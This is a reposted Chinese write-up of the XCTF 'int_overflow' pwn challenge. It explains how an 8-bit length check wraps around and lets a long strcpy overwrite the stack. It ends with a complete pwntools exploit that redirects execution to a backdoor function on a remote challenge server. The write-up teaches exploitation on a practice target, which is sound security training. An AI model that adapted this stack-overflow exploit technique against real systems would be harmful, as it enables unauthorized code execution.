ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

攻防世界 Pwn int_overflow

2021-12-25 12:33:56  阅读:64  来源: 互联网

标签:int Please sendline Pwn recvuntil overflow payload IDA


攻防世界 Pwn int_overflow

1.题目下载地址

点击下载

2.checksec

在这里插入图片描述

  • 没有canary
  • 没有PIE

2.IDA分析

在这里插入图片描述

  • 在check_passwd函数中有一个strcpy函数
  • 当v3>3u且v3<8u进入else。else中把s的值复制到dest,如果s的值够长,就能造出栈溢出。
  • 但是3<v3<8限制了s的长度了,怎么办呢?我们可以看一下汇编代码:会发现程序把s放到一个al寄存器中,al是一个八位寄存器,八位寄存器对于无符号整数来说是有0~255的范围的。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出。
    接着看看有什么代码是可以利用的:那么跳转到这个地址就可以得到我们想要的flag了!
    在这里插入图片描述
  • 这里是有一个后门函数

4.exp

from pwn import*
p = remote('111.200.241.244',65412)
sys_addr = 0x804868b
payload = 'a' * 24 + p32(sys_addr)
payload = payload.ljust(262,'a')
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Please input your username:")
p.sendline("aaaa")
p.recvuntil("Please input your passwd:")
p.sendline(payload)
p.interactive()

在这里插入图片描述

标签:int,Please,sendline,Pwn,recvuntil,overflow,payload,IDA
来源: https://blog.csdn.net/MrTreebook/article/details/122141507

专注分享技术,共同学习,共同进步。侵权联系[admin#icode9.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有